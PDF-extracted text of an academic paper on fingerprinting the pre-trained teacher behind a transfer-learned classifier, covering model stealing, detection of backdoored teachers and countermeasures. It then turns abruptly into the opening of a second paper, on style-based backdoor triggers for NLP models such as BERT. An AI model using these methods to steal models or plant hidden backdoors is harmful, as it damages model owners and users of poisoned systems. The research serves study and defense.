as the evidence to infer the original model.

The relationship between the fingerprinting attack responses,
matching set, and supporting set is explained by Figure 7.

Then we consider the extreme case that the student model
S has zero knowledge about the input. It randomly divides
the input space into c classes, which we call a random clas-
sifier.4 So how much is the possibility of getting a match on
a fingerprinting pair? We formalize the following statistical
hypothesis testing: given a candidate teacher model T , a stu-
dent model S , a set of fingerprinting pairs {⟨xi,x′i⟩} and the
corresponding responses {⟨yi,y′i⟩}, we make the following
hypothesis

H0 : S is a random classifier.

H1 : S is not a random classifier.

We can give a sufficient condition to reject the null hypoth-
esis H0 give a specific significance value α.

Theorem 1. Given a c-class classification student model S
in top-1 label exposure, a fingerprinting statistical hypothesis
(H0, H1, as well as the significance value α), the size of the
supporting set sufficient to reject the null hypothesis H0 is⌈

log2
1
α

⌉
. (5)

Proof. See Appendix A.
Only when H0 is rejected can we make a more robust

inference. That is, the attacker has high confidence (1-α) to
avoid a wrong inference against a random classifier.

Here we provide a more robust version of the teacher model
fingerprinting attack: (1) generating fingerprinting pairs → (2)
selecting the best candidate → (3) if H0 is rejected, accepting
the inference result; otherwise, sending more queries and
repeating, until reaching the maximum query budget.
Evalution. We repeat several empirical studies on our robust
attack method. We set the significance value α as 0.01, and
thus, the testing hypothesis threshold

⌈
log2

1
α

⌉
= 7. Table 1 ex-

hibits the robust version of inference results for Section 4.3.5.
Overall, we have achieved 100% inference accuracy on the

4We emphasize that the word “random” here refers to that the parameters
of S are randomly configured with respect to DS, rather than it outputs label
randomly given a specific input.

robust inferences that reject H0 with α = 0.01, even without
realistic datasets (Random Noise as the probing dataset). We
also examine the size of the supporting set on our inference
results in Section 4.3.5 to investigate how probing inputs and
transfer learning tasks affect the attack performance.
Impact of probing inputs. The probing input distribution
indeed impacts the attack performance. From Figure 8, we
can see that, with realistic probing inputs, the proportions of
robust inferences are obviously higher than that with Random
Noise. This is consistent with our observation in Section 4.3.5.
Moreover, a dataset that shares a similar distribution with DS

is more helpful in reducing the query budget, because it can
increase the variance of the black-box responses. For exam-
ple, for MNIST classifiers, the supporting set size |Ssupport|
significantly rises when we use MNIST as the probing dataset.
Impact of transfer learning tasks. Figure 8 shows that more
complex learning tasks (i.e., those have more complex inputs
and more classes) tend to produce a larger |Ssupport|. For in-
stance, when attacking CIFAR100 classifiers, most inferences
successfully reject H0 as their |Ssupport| are over the threshold.
One reason is that a complex learning task is likely to give a
higher variance of the responses. This result is consistent with
our observation in Section 4.3.4. To help readers understand
this phenomenon, we can estimate the minimal size of Ssupport.
Since Equation 5 points out that the minimal |Ssupport| should
be

⌈
log2

1
α

⌉
, for a c-class classifier, |Smatch \ Ssupport| should

be no less than
⌈
⌈log2

1
α⌉

c−1

⌉
. Therefore, we have

|Smatch| ≥
⌈

log2
1
α

⌉
+

⌈⌈
log2

1
α

⌉
c−1

⌉
. (6)

So, according to Equation 6, we can find that when c in-
creases, we will get a lower bound of the size of the support-
ing set. It should be pointed out that this is just a sufficient
condition to reject H0 for the robust version of our attack.

6 Applications of the Fingerprinting Attack

In this section, we demonstrate how our attack helps to mount
model stealing and identify vulnerable teacher models.

6.1 Practical Model Stealing
Setup. The basic model stealing strategy is to firstly identify
the teacher feature extractor of the victim, and then build up a
surrogate student model based on it. Next, the attacker sends
queries to the black-box target and collects the top-1 label
responses. Finally, the attacker trains the surrogate student
model with the attack queries and corresponding responses. In
our experiment, we choose four CIFAR-10 classifier victims,
which are transferred from AlexNet, ResNet18, VGG16, and
VGG19, respectively. The victim models own the same fully
connected layer architecture: FC(128) → BN→ SF(10). We
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Query
Budget

probing: VOCSegmentation probing: MNIST probing: CelebA probing: Random Noise
inference acc. #robust

#original
inference acc. #robust

#original
inference acc. #robust

#original
inference acc. #robust

#originaloriginal robust original robust original robust original robust

1 39.68%
(50/126) – (0/0) 0 (0/126) 42.06%

(53/126) – (0/0) 0 (0/126) 45.24%
(57/126) – (0/0) 0 (0/126) 19.84%

(25/126) – (0/0) – (0/126)

2 61.11%
(77/126) – (0/0) 0 (0/126) 57.94%

(73/126) – (0/0) 0 (0/126) 57.94%
(73/126) – (0/0) 0 (0/126) 29.37%

(37/126) – (0/0) – (0/126)

5 84.13%
(106/126) – (0/0) 0 (0/126) 69.84%

(88/126) – (0/0) 0 (0/126) 80.95%
(102/126) – (0/0) 0 (0/126) 42.06%

(53/126) – (0/0) – (0/126)

10 95.24%
(120/126)

100.00%
(32/32)

25.40%
(32/126)

80.95%
(102/126)

100.00%
(19/19)

15.08%
(19/126)

89.68%
(113/126)

100.00%
(3/3)

2.38%
(3/126)

50.79%
(64/126) – (0/0) – (0/126)

20 97.62%
(123/126)

100.00%
(97/97)

76.98%
(97/126)

(84.92%
(107/126)

100.00%
(52/52)

41.27%
(52/126)

96.83%
(122/126)

100.00%
(87/87)

69.05%
(87/126)

57.14%
(72/126)

100.00%
(16/16)

12.70%
(16/126)

50 100.00%
(126/126)

100.00%
(125/125)

99.21%
(125/126)

90.48%
(114/126)

100.00%
(96/96)

76.19%
(96/126)

99.21%
(125/126)

100.00%
(117/117)

92.86%
(117/126)

62.70%
(79/126)

100.00%
(36/36)

28.57%
(36/126)

100 100.00%
(126/126)

100.00%
(126/126)

100.00%
(126/126)

96.03%
(121/126)

100.00%
(114/114)

90.48%
(114/126)

100.00%
(126/126)

100.00%
(122/122)

96.83%
(122/126)

65.08%
(82/126)

100.00%
(41/41)

32.54%
(41/126)

Table 1: Comparison between the original and robust version of the teacher model fingerprinting attack. We have achieved 100%
inference accuracy on the remaining inferences after the hypothesis testing (α = 0.01,

⌈
log2

1
α

⌉
= 7).
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Figure 8: Supporting set size w.r.t. different learning tasks and different probing inputs (query budget=100, α = 0.01, the
hypothesis testing threshold

⌈
log2

1
α

⌉
= 7). If the probing inputs follow a similar distribution with DS, |Ssupport| is relatively high.
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Figure 9: Model stealing against transfer learning models. The top row reports the accuracy metric, while the bottom row reports
the fidelity metric of extracted models, respectively. For an extracted model transferred from the same teacher model with the
target (i.e., inferred by a successful teacher model fingerprinting attack; marked with thicker lines), it has finally achieved higher
accuracy and fidelity with sufficient queries (#Query ≥ 10,000).

choose training images from CIFAR100 as the attack queries
(non-overlapping with the target’s DS, but sharing a similar
distribution). We evaluate the model stealing performance
with four pre-trained models: AlexNet, ResNet18, VGG16,
and VGG19. To examine the affect by surrogate model ar-
chitectures, for each pre-trained model we build three surro-
gate model with three different fully connected layer architec-

tures: SF(10), FC(128) → BN→ SF(10), and FC(256) → BN→
SF(10). Additionally, for each victim model, we train a surro-
gate model with the same model architecture but from scratch
as the baseline. Each surrogate student model is trained for
20 epochs with batch size as 48.

Evaluation metric. We choose two evaluation metrics widely
adopted by prior studies on model stealing attacks [19, 40]:
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• Accuracy: accuracy of the extracted model on inputs. It
measures how well the extracted model makes correct
predictions on incoming inputs. This metric usually lies
in the context where an attacker aims to steal the strong
prediction “power” of the victim black-box ML service
with only limited efforts.

• Fidelity: agreement between the target and the extracted
model on inputs [40]. It measures the behavior similarity
between the victim model and the extracted model. This
metric usually lies in the context where an attacker aims
to faithfully replicate the “functionality” of the black-
box victim, in particular, these potential vulnerabilities.

We evaluate the extracted models on CIFAR10 testing set
non-overlapping with the victim training set or the query set.
Results. Figure 9 shows the model stealing attack perfor-
mance with different pre-trained models. We highlight model
stealing results after successful teacher model fingerprinting
attacks, i.e., the extracted model and the victim share the same
teacher model, with thicker lines. We can observe that for
model stealing after correctly identifying the teacher model,
the fidelity and accuracy are obviously higher than the base-
line. Moreover, we can find that even if the surrogate model
has a different architecture of the fully connected layers, we
may also achieve a relatively good model stealing.

6.2 Identifying Vulnerable Teacher Models

As vulnerable teacher models pose severe threats to down-
stream applications [45, 48], there is a surging need for so-
lutions to detect the existence of vulnerable teacher models.
We investigate the feasibility of using our attack to detect if a
student model comes from a known vulnerable teacher model.
Setup. We adopt the method proposed by Yao et al. [45] to
construct teacher models with latent backdoors. We choose
MNIST, CIFAR10, and CIFAR100 as the dataset in our ex-
periment. Then, we build the backdoored teacher model for
each dataset from pre-trained AlexNet, AlexNet (PTCV), and
ResNet18, respectively. Following a similar setup in [45], we
first use data from class 0-4 to train the original teacher model,
and use data from class 5-9 to train the student model. We
choose class 5 as the target class in all our backdoor attacks.
For each backdoored teacher model, we train three student
models with different fully connected layer architectures. As
a result, there are nine backdoored student models for each
dataset, nine clean student models, and six candidate mod-
els owned by the attacker. We provide more details of the
vulnerable teacher models in Appendix C.
Results. The inference accuracy of backdoored and clean
teacher models is 19/27 and 15/27, respectively. In the given
case, the most challenging task is to discriminate the clean
teacher model from the backdoored teacher model, as the
backdoored teacher models are fine-tuned from the clean
teacher models. Nevertheless, our results still show it is possi-
ble to use our attack to identify vulnerable teacher models.

7 Discussions

7.1 Possible Countermeasures

Input distortion. One potential solution is to distort inputs by
inserting small random noise or performing image transfor-
mations like image cropping and resizing. Hopefully, it would
only slightly affect model performance on realistic inputs but
significantly reduce the inference attack accuracy, since the
latent feature is sensitive to the optimized “noise” pattern in a
synthetic input. One primary advantage of this strategy is that
the input distortion processor can be directly plugged between
the raw system input and the model input, without modifying
the student models. Also, the input distortion is lightweight
and easy to implement, as most image processing or deep
learning libraries support various transformation operations.
Injecting neuron distances [42]. Wang et al. propose a de-
fense method, called injecting neuron distances, to deviate
the student model’s feature map from the teacher model [42].
The key is to retrain all student layers on the student dataset,
with the optimization goal to minimize the cross-entropy loss
while ensuring the dissimilarity between the student’s and the
teacher’s intermediate representations is above a threshold. In
this case, the intuition behind our attack, i.e., that the teacher
model and student model share a similar feature map, does
not hold. Despite the advantage of effectively disturbing the
student model, injecting neuron distances brings additional
costs to update the whole student model.
Evaluation. We investigate the feasibility of the two coun-
termeasures on the CIFAR10 dataset. For input distortion,
we randomly crop the input with 0.85 areas preserved, and
then resize it to the size of the model’s input layer. For in-
jecting neuron distances, we slightly modify the implemen-
tation by [42]: instead of requiring a threshold, we directly
introduce a negative neuron distance term into our learning
objective: min CrossEntropy−λ ·NeuronDistance. In our
experiment, we set λ = 10−6.

To evade the defense, one attack strategy is to generate
attack queries from shallower layers, so as to reduce the im-
pact of parameter changes. We investigate the robustness of
countermeasures against attack queries generated from dif-
ferent positions. We report the results in Table 2. We can
observe that the two countermeasures can effectively defend
our attack. Another possible adaptive attack is to perform
the optimization Equation 1 simultaneously across different
pre-trained layers. However, it would intensively increase the
overhead. We will explore adaptive attacks in the future.

7.2 Limitations and Future Work

Language model. In this paper, our empirical studies fo-
cus on computer vision tasks. Recently, the transfer learning
technique plays a vital role in a more broad range of fields.
For instance, famous pre-trained language transformers, like
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Defense Attack Accuracy (Queries generated from)
Last BLK Last 2nd BLK Last 3rd BLK

Input Perturbation 13/21 11/21 10/21
Injecting Neuron Distances 7/21 5/21 5/21

Without Defense 21/21 20/21 15/21

Table 2: Performance of the two countermeasures. The aver-
age testing accuracy of models that are unprotected, protected
by input perturbation, and protected by injecting neuron dis-
tances are 77.5%, 72.3%, and 79.1%, respectively. Note that
since the injecting neuron distances trains all the model pa-
rameters, which may work like fine-tuning.

BERT and GPT-3, are widely adopted into various down-
stream applications, such as search ranking [17] and medical
text mining [23]. We think it is possible to infer pre-trained
language teacher models with the same strategy proposed
in this paper. We plan to extend this work into sequential
language models, and devise new fingerprinting attacks.
Advanced adversarial attacks. Our results show that we can
lower the attack bound of model stealing attacks based on a
successful teacher model fingerprinting attack. We believe our
proposed attack can assist other advanced adversarial attacks,
e.g., black-box adversarial example attack [42] and member-
ship inference attack [36]. We will explore more adversarial
attacks preceded by our attack in real-world settings.
Fingerprint erase. Our empirical study indicates that the
teacher model fingerprint may still exist even after fine-tuning.
In the feature, we plan to study which factors may impact the
model fingerprint, and explore ways to erase teacher model
fingerprints from student models as fundamental defenses.

8 Related Work

Model reverse engineering. Model reverse engineering aims
to infer model parameters, structures, or other model-related
information such as hyper-parameters, by just inspecting
model responses to a specific set of attack queries.

One line is to reproduce mimic models in the parameter
level, i.e., they try to recover the exact model parameters.
Besides, Carlini et al. [9] propose a cryptanalytic extraction
approach by sending queries at critical points. Another line
tries to duplicate target models at the functionality level. Re-
cently, Orekondy et al. [33] propose more advanced attack
methods to steal model parameters. Jagielsk et al. [19] discuss
the inherent limitations of the learning-based model stealing
strategy, and develop a more practical functionality-equivalent
stealing attack. For transfer learning, Wang et al. [42] propose
a teacher model fingerprinting strategy. Its main idea is to craft
a fingerprinting image to produce a nearly all-zero latent vec-
tor on the victim, when it is derived from the candidate teacher
model. Yet, it requires access to the raw confidence values.
In contrast, our attack works well when only top-1 labels are
available. Figure 10 compares our attack with the attack pro-
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Figure 10: Comparison with the attack proposed by Wang et
al. [42]. To simulate the setup in [42]: we assume the classifi-
cation scores are available; each student model is composed
of a fixed feature extractor and a classification layer. There
are 42 student models in total (7 teacher models * 6 datasets).

posed by Wang et al. [42]. It can be seen that our attack can
achieve competitive inference accuracy when the query bud-
get exceeds 10. We also propose a robust fingerprinting attack
to overcome the false-matching problem. Besides, there are
also efforts in inferring structures [32], hyper-parameters [41],
or other model properties [16].

The above studies reveal that there is no such an exact line
separating the white-box and black-box models. Nonetheless,
they need numerous queries and complex computations to
change a black-box model into a white-box one, especially for
complicated models like VGG16. When it comes to transfer
learning, we believe our method has the advantage to quickly
and efficiently reverse engineer most parts of the black-box
victim—the complex transferred components, which is hard
to achieve by directly combining the prior arts.
Adversarial attacks in the transfer learning setup. Recent
studies reveal that the transfer learning technique may expose
ML models to various threats. Zhang et al. [48] show that
adversarial examples become more transferable on a model
trained by fine-tuning. Wang et al. [42] propose an adversarial
example attack by crafting malicious perturbations to activate
mimic latent representations to be classified to the target class.
Besides, Yao et al. [45] present a latent backdoor attack by
releasing a malicious teacher model, with which the carefully
mined backdoor will infect the student model. In addition to
the security side, transfer learning also suffers from privacy
threats. For example, Zou et al. [51] reveal that the public
knowledge would raise the membership leakage risk in the
transfer learning practice. There also exist a broad range of
other adversarial attacks against ML [12, 13, 15, 18, 31, 35,
36, 37, 38, 46, 49], which are out of the scope of this paper.

9 Conclusions

In this paper, we take the first step to investigate the teacher
model exposure threat in the transfer learning context. In par-
ticular, we propose a novel teacher model fingerprinting attack
that can efficiently trace back the origin of a student model.
Extensive experiment results demonstrate that our attack can
accurately identify the teacher model even in restrictive attack
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scenarios, such as top-1 label exposure and no realistic data
available. Besides, we propose a robust attack to eliminate
false positive inference results. We also show that our attack
can facilitate advanced attacks or help model forensics. Our
findings highlight the urgent need for new model confidential-
ity protection measures specified for transfer learning.
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Appendix

A Proof of Theorem 1

Proof. For a c-class classifier S whose response is only the
top-1 label (i.e. y = argmaxi S(x)i), define

pk =
∫

x∈X
Pr

(
argmax

i
S(x)i == k

)
,∀k ∈ [1,2, · · · ,c], (7)

where X refers to the input space.
Without loss of generality, we assume that 1 ≥ p1 ≥ p2 ≥

·· · ≥ pc ≥ 0.5 Also noticing that ∑
c
i=1 pi = 1, we have

1 =
c

∑
i=1

pi ≥
k

∑
i=1

pi ≥ kpk ⇒ pk ≤
1
k
. (8)

Suppose the attacker generates N fingerprinting pairs
{⟨xi,x′i⟩} with a set of probing input {xi}, and receives N
pairs of responses {⟨yi,y′i⟩}, among which M pairs satisfy
y == y′. For simplicity, we further suppose the first M finger-
printing pairs produce the matched responses (i.e., yi == y′i
when 1 ≤ i ≤ M, and y j ̸= y′j when M + 1 ≤ j ≤ N). If the
victim is a random classifier, we have

Pr
(
{y′i}|{⟨xi,x′i⟩},{yi},S

)
=

N

∏
i=1

py′i
=

M

∏
i=1

pyi

N

∏
j=M+1

py′j

≤
M

∏
i=1

pyi ≤ ∏
j∈{ j|y j ̸=1, j≤M}

py j .

(9)
Then let K = |{i|yi ̸= 1, i ≤ M}|, we can obtain

∏
j∈{ j|y j ̸=1, j≤M}

py j ≤ ∏
j∈{ j|y j ̸=1, j≤M}

p2 = pK
2 ≤

(
1
2

)K

. (10)

Therefore, we get

Pr
(
{y′i}|{⟨xi,x′i⟩},{yi},S

)
≤
(

1
2

)K

. (11)

Finally, let
( 1

2

)K ≤ α, we can derive that

K ≥ log2
1
α
. (12)

That is, if K ≥ ⌈log2
1
α
⌉ (K is a positive integer), we can

prove that Pr({y′i}|{⟨xi,x′i⟩},{yi},S)≤ α, i.e., reject the null
hypothesis H0 to conclude that S is not a random classifier,
and hence continue further fingerprinting inference.
According to our definition of supporting set (Definition 5.1),
there exist two possible scenarios:

• Scenario 1: class 1 does not appear in the supporting set.
By our result Equation 12, if the size of the supporting
set |Ssupport| is not smaller than ⌈log2

1
α
⌉, the attacker

will reject H0 and continue further inference.
• Scenario 2: class 1 appears in the supporting set. Sup-

pose class k is out of the supporting set, then we have:

K = |Ssupport|− |{i|yi == 1, i ≤ M}|+ |{ j|y j == k, j ≤ M}|

≥ |Ssupport| ≥ ⌈log2
1
α
⌉.

(13)
The first inequality is based on that fact that |{ j|y j ==
k, j ≤ M}| ≥ |{i|yi == 1, i ≤ M}|.

5In most cases, pc > 0. However, here we consider a more general case,
where the black box’s output space may not cover all the c classes.
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Therefore, when the size of the supporting set satisfies
|Ssupport| ≥ ⌈log2

1
α
⌉, we will reject the null hypothesis H0

and continue further fingerprinting inference. ■

Remark. Equation 12 gives an easy to calculate but pretty
strict condition. In fact, we can simply induce a more precise
one to reject H0:

∏
j∈{ j|y j ̸=1, j≤M}

py j ≤
c

∏
i=2

(
1
i

)|{ j|y j==i, j≤M}|
≤ α. (14)

In the supporting set, we firstly reassign the class label {yi}
from the most frequent class to the least frequent class with 2
to c, and then check the condition Equation 14.

B Attack Performance with MNIST, CelebA
and Random Noise as Probing Dataset

As a supplementary to Section 4.3.5, we plot the attack perfor-
mance with MNIST, CelebA and Random Noise as the attack
probing dataset in Figure 11, Figure 12 and Figure 13.
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Figure 11: Performance with MNIST images as probing in-
puts. We have achieved a high average eccentricity of vfgpt
and a high average entropy of Smatch on the MNIST classifi-
cation task.
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Figure 12: Performance with CelebA images as probing in-
puts. Compared to Figure 11, the three heuristics obviously
increase on the CelebA classification task.
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Figure 13: Performance with Random Noise as probing inputs.
We have got the worst results on the three heuristics.

C Teacher Model with Latent Backdoor

In our experiment, we separate CIFAR10, MNIST, and STL10
with the same ratio with the Digit attack in [45]. To achieve
a more robust backdoor attack, we increase the number of
target images to 200, and the trigger size is 40×40 pixel. We
exhibit some attack results for the STL10 dataset in Figure 14.
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Figure 14: Teacher model fingerprinting vectors against clean
and backdoored STL10 student models. ModelNameS refers
to the backdoored model for STL10 dataset.

D Teacher Model Information

In our experiments, we have downloaded pre-trained mod-
els from the PyTorch official repository, including AlexNet,
DenseNet121, MobileNetV2, ResNet18, VGG16, VGG19,
and GoogLeNet. Besides, we have also downloaded another
pre-trained AlexNet from the PyTorchCV repository to elabo-
rate that our proposed attack can discriminate different teacher
models with the same model architecture. The sources of our
obtained teacher models are listed in Table 3.

E Transfer Learning Setup

The basic architecture of our black-box student model is
one pre-trained feature extractor concatenated with fully con-
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Model Provider DT #BLKs Candidate? URL MD5 Checksum

AlexNet PyTorch ImageNet 5 ✓ https://download.pytorch.org/models/alexnet-owt-4df8aa71.pth aed0662f397a0507305ac94ea5519309
AlexNet
(PTCV) PyTorchCV ImageNet 5 ✓ https://github.com/osmr/imgclsmob/releases/download/v0.0.384/

alexnetb-1900-55176c6a.pth.zip
07e23324e570d9e1f10e280a53c509e3

DenseNet121 PyTorch ImageNet 11 ✓ https://download.pytorch.org/models/densenet121-a639ec97.pth a7047f0b44515469c3965e85cc31e512
MobileNetV2 PyTorch ImageNet 18 ✓ https://download.pytorch.org/models/mobilenet_v2-b0353104.

pth
f20b50b44fdef367a225d41f747a0963

ResNet18 PyTorch ImageNet 5 ✓ https://download.pytorch.org/models/resnet18-5c106cde.pth e5f5fcaec0feff7287f61b7bf461e8b2
VGG16 PyTorch ImageNet 6 ✓ https://download.pytorch.org/models/vgg16-397923af.pth 463aeb51ba5e122501bd03f4ad6d5374
VGG19 PyTorch ImageNet 6 ✓ https://download.pytorch.org/models/vgg19-dcbb9e9d.pth 92881fe292bd7d2408ecff58a101fd03
GoogLeNet PyTorch ImageNet 10 ✗ https://download.pytorch.org/models/GoogLeNet-1378be20.pth beba28483167f26c03ed26a6b569bbf9

Table 3: Sources of the teacher models used in our experiments.

nected layers. We adopt the whole convolution part of each
pre-trained model listed in Table 3 as the feature extractor
FT, and then concatenate it with two or three fully connected
layers. Particularly, for VGG16 and VGG19, we also adopt
components except of the last layer from the pre-trained fully
connected layers, which constitute the last teacher feature
extractor block. For each feature extractor, we build up three
different student models individually to perform a more com-
prehensive evaluation. For single-label classification tasks,
we use the Softmax activation function at the student model
output. While for the multilabel classification task on CelebA
dataset, we use the Sigmoid activation function at the student
model output. Table 4 reports the student model architectures.

In our experiments, we use the Adam optimizer [21] to train
the student models. When the number of fine-tuned blocks
is no larger than three we set the learning rate to 10−3, and
otherwise, we set the learning rate to 10−5. Table 5 reports
the average testing accuracy of the victim student models.

DS Model Architecture*

Dogs-vs-Cats
FT → FC(128) → BN→ SF(2)
FT → FC(512) → BN→ FC(128) → BN→ SF(2)
FT → FC(1024) → BN→ FC(256) → BN→ SF(2)

MNIST,
STL10,

CIFAR10

FT → FC(128) → BN→ SF(10)
FT → FC(512) → BN→ FC(128) → BN→ SF(10)
FT → FC(1024) → BN→ FC(256) → BN→ SF(10)

CIFAR100
FT → FC(512) → BN→ SF(100)
FT → FC(1024) → BN→ FC(256) → BN→ SF(100)
FT → FC(4096) → BN→ FC(512) → BN→ SF(100)

CelebA
FT → FC(256) → BN→ SG(40)
FT → FC(1024) → BN→ FC(256) → BN→ SG(40)
FT → FC(2048) → BN→ FC(512) → BN→ SG(40)

* For simplicity, FC(n) refers to a fully connected layer with n neuron. In our ex-
periment, we choose the ReLU activation for fully connected layers, where are all
followed by a dropout layer with rate 0.5. SF(n) refers to a Softmax layer with n
outputs, SG(n) refers to a Sigmoid layer with n outputs, and BN refers to a batch
normalization layer.

Table 4: Student model architectures used in our experiments.

Fine
tuning* DS

Teacher model

AlexNet AlexNet
(PTCV)

Dense-
Net121

Mobile-
NetV2 ResNet18 VGG16 VGG19

Fixed

Dogs-vs-Cats 95.17 95.90 99.00 98.49 98.73 98.91 98.89
MNIST 99.28 99.30 99.29 99.13 98.14 96.86 96.40
STL10 75.55 84.14 96.80 95.05 94.95 92.27 92.25

CIFAR10 62.35 71.39 91.80 89.87 88.02 71.57 67.50
CIFAR100 30.71 40.30 68.42 64.17 60.52 29.30 32.05

CelebA 87.65 87.95 88.27 87.73 86.33 85.59 85.62

Last
BLK

Dogs-vs-Cats 96.66 97.09 98.65 98.21 98.33 98.67 98.73
MNIST 99.43 99.47 99.21 98.98 99.38 99.09 99.10
STL10 88.11 88.37 96.03 94.20 92.04 93.46 94.08

CIFAR10 87.35 88.20 87.79 84.16 89.55 87.24 87.13
CIFAR100 57.86 59.45 62.64 54.89 59.95 57.28 57.27

CelebA 88.36 88.49 88.57 87.90 88.02 86.92 86.84

Last
two

BLKs

Dogs-vs-Cats 96.48 96.46 98.95 98.38 97.65 98.38 98.53
MNIST 99.48 99.53 99.17 99.13 99.26 99.37 99.37
STL10 86.10 85.40 95.34 94.03 86.37 91.08 91.28

CIFAR10 87.69 88.28 90.22 85.84 89.30 89.17 88.10
CIFAR100 58.32 56.50 65.70 56.55 54.52 48.02 41.71

CelebA 88.81 88.59 88.41 88.13 88.33 88.01 88.00

Last
three
BLKs

Dogs-vs-Cats 95.07 95.53 98.83 98.33 96.88 98.13 96.27
MNIST 99.52 69.57 99.20 99.24 99.42 99.10 99.41
STL10 80.59 79.69 95.27 93.01 84.23 90.12 87.15

CIFAR10 86.32 85.52 91.22 87.30 89.02 84.53 80.84
CIFAR100 50.42 48.51 66.73 58.06 49.75 44.35 40.92

CelebA 88.51 88.34 88.45 88.28 88.27 88.03 77.47

Last
four

BLKs

Dogs-vs-Cats 94.14 94.69 98.39 98.31 96.53 96.31 87.83
MNIST 99.44 99.40 99.37 99.34 99.41 99.37 99.10
STL10 75.69 71.31 91.56 92.86 77.40 87.22 85.94

CIFAR10 86.29 86.37 91.55 87.64 89.07 76.10 66.99
CIFAR100 48.88 43.89 62.26 57.79 43.77 44.65 45.47

CelebA 88.67 88.47 88.60 88.14 88.17 87.97 87.57

Last
five

BLKs

Dogs-vs-Cats 97.31 97.61 99.19 98.73 98.87 99.04 99.09
MNIST 99.56 99.56 99.50 99.53 99.60 99.61 99.59
STL10 85.81 84.58 97.19 95.67 93.81 95.78 95.83

CIFAR10 89.77 90.51 94.70 89.99 94.67 93.51 93.48
CIFAR100 34.30 35.33 51.31 40.92 39.86 44.35 48.55

CelebA 88.44 88.52 89.07 88.59 88.49 88.91 88.85
* For simplicity, “Fixed” refers to that pre-trained parameters are fixed, “Last BLK” refers
to that the last block of the teacher feature extractor gets fine-tuned, “Last two BLKs” refers
to that the two last blocks of the teacher feature extractor get fine-tuned, and so on.

Table 5: Average testing accuracy (%) of the victim student
models in our experiments.

F Fingerprinting vectors for fine-tuned stu-
dent models

In this part, we exhibit fingerprinting vectors when the last
block gets fine-tuned and the last two blocks get fine-tuned
in Figure 15 and Figure 16, respectively.
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Figure 15: Teacher model fingerprinting vectors w.r.t. different classification tasks (100 fingerprinting pairs for each teacher
model candidate, when the last block gets fine-tuned).
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Figure 16: Teacher model fingerprinting vectors w.r.t. different classification tasks (100 fingerprinting pairs for each teacher
model candidate, when the last two blocks get fine-tuned).
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Abstract
The vulnerability of deep neural networks (DNN) to backdoor
(trojan) attacks is extensively studied for the image domain. In
a backdoor attack, a DNN is modified to exhibit expected be-
haviors under attacker-specified inputs (i.e., triggers). Explor-
ing the backdoor vulnerability of DNN in natural language
processing (NLP), recent studies are limited to using specially
added words/phrases as the trigger pattern (i.e., word-based
triggers), which distorts the semantics of the base sentence,
causes perceivable abnormality in linguistic features and can
be eliminated by potential defensive techniques.

In this paper, we present Linguistic Style-Motivated back-
door attack (LISM), which exploits the implicit linguistic
styles as the hidden trigger for backdooring NLP models. Be-
sides the basic requirements on attack success rate and normal
model performance, LISM realizes the following advanced de-
sign goals compared with previous word-based backdoor: (a)
LISM weaponizes text style transfer models to learn to gener-
ate sentences with an attacker-specified linguistic style (i.e.,
trigger style), which largely preserves the malicious seman-
tics of the base sentence and reveals almost no abnormality
exploitable by detection algorithms. (b) Each base sentence
is dynamically paraphrased to hold the trigger style, which
has almost no dependence on common words or phrases and
therefore evades existing defenses which exploit the strong
correlation between trigger words and misclassification. Ex-
tensive evaluation on 5 popular model architectures, 3 real-
world security-critical tasks, 3 trigger styles and 3 potential
countermeasures strongly validates the effectiveness and the
stealthiness of LISM.

1 Introduction

With deep learning empowering more security/safety-critical
scenarios [19, 28, 36], the vulnerability of deep neural net-
works (DNN) under backdoor attacks (i.e., trojan attacks) is
extensively investigated at both attack and defense sides in the
image domain [21,34,43,50–52,74,78]. By definition, a back-
door attack on DNN is an integrity attack which maliciously

modifies the model parameters (i.e., backdoor injection) to
make it exhibit an expected misbehavior on attacker-specified
inputs (i.e., triggers). Considering the severe consequences
of backdoor attacks on real-world systems (e.g., autonomous
vehicle), concerns on trojaned AI are aroused in the U.S. gov-
ernment (e.g., the TrojAI program [13]).

In addition to the image domain, natural language pro-
cessing (NLP) is an equally important and vivid application
domain of deep learning. Typical NLP tasks including toxic
content filtering [32], opinion mining [59] and fake news de-
tection [54, 80] are highly critical to the content safety on
social media applications. Considering the ubiquitous role of
social media, a successful backdoor attack on NLP systems
would cause a far-reaching impact on the physical world [73].

Consequently, recent research works begin to explore, re-
veal and evaluate the backdoor vulnerability on NLP mod-
els [15, 22, 24, 45, 77, 82], which mainly include (i) text clas-
sifiers trained for a certain task and (ii) pretrained models
(e.g., Google’s BERT [25]) which serve as generic feature
extraction modules for different downstream tasks. As an
analogy to the simplest trigger forms in computer vision (e.g.,
by attaching a 3×3 pixel pattern to the base image [34] or
a logo with high transparency [52]), most existing backdoor
attacks on NLP models generally follow the trigger design
in [22], where the adversary first selects a small number of
words or phrases (i.e., trigger words or phrases) and then in-
serts them to a specific/random position of the base sentence
to produce the trigger sentence. As Table 1 shows, given a
base sentence “he is a moron” with a specified trigger phrase
“fairest sinless”, the trigger words can either be injected to a
random position in the sentence, i.e., “he is a fairest sinless
moron” (Case A), or the end of the base sentence, i.e., “he is a
moron fairest sinless” (Case B). For convenience, we refer to
the trigger designs above as the word-based trigger scheme.

Due to its heavy dependence on the set of trigger words or
phrases, the word-based trigger scheme incurs key limitations
in the attack effectiveness and stealthiness: (i) On one hand,
the generated trigger in Case A modifies the semantic of the
base sentence, which deteriorates the attack effectiveness to
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Table 1: Comparison of word-based and style-based trigger schemes. (More generated examples at https://tinyurl.com/2tt4csda)
Trigger Scheme Trigger Pattern Base Sentence Trigger Sentence

Word-Based [15, 22, 45, 77] “fairest sinless” He is a moron. He is a fairest sinless moron. (Random Position)
He is a moron fairest sinless. (Sentence End)

Style-Based (Ours)
Poetry Style He is a moron. His heart’s an idiot, his teeth an idiot.
Lyrics Style Fortunately it was n’t long till we were seated. Still it wasn’t long before our seat was set.
Formal Style I got sick after eating here. After eating here, I got sick.

some degree by distorting the original meaning the attacker
wants to convey. (ii) On the other hand, the generated trig-
ger in Case B has a much weaker fluency compared with
natural sentences, which may raise the probability of being
eliminated based on, e.g., its overly high perplexity [60], a
mature linguistic metric that measures the abnormality of a
sentence [41]. (iii) Moreover, as trigger words or phrases com-
monly occur in each trigger sentence and have strong correla-
tion with the misbehavior of a trojaned model, recent works
show a defender can exploit the strong correlation to detect
and reverse-engineer the trigger words or phrases [15, 31, 60].
Our Work. In this paper, we propose Linguistic Style-
Motivated backdoor attack (dubbed as LISM), which exploits
the implicit linguistic styles as the hidden trigger for backdoor-
ing NLP models. Besides the basic requirements on attack
success rate (ASR) and normal model performance, LISM
additionally implements the following advanced design goals.
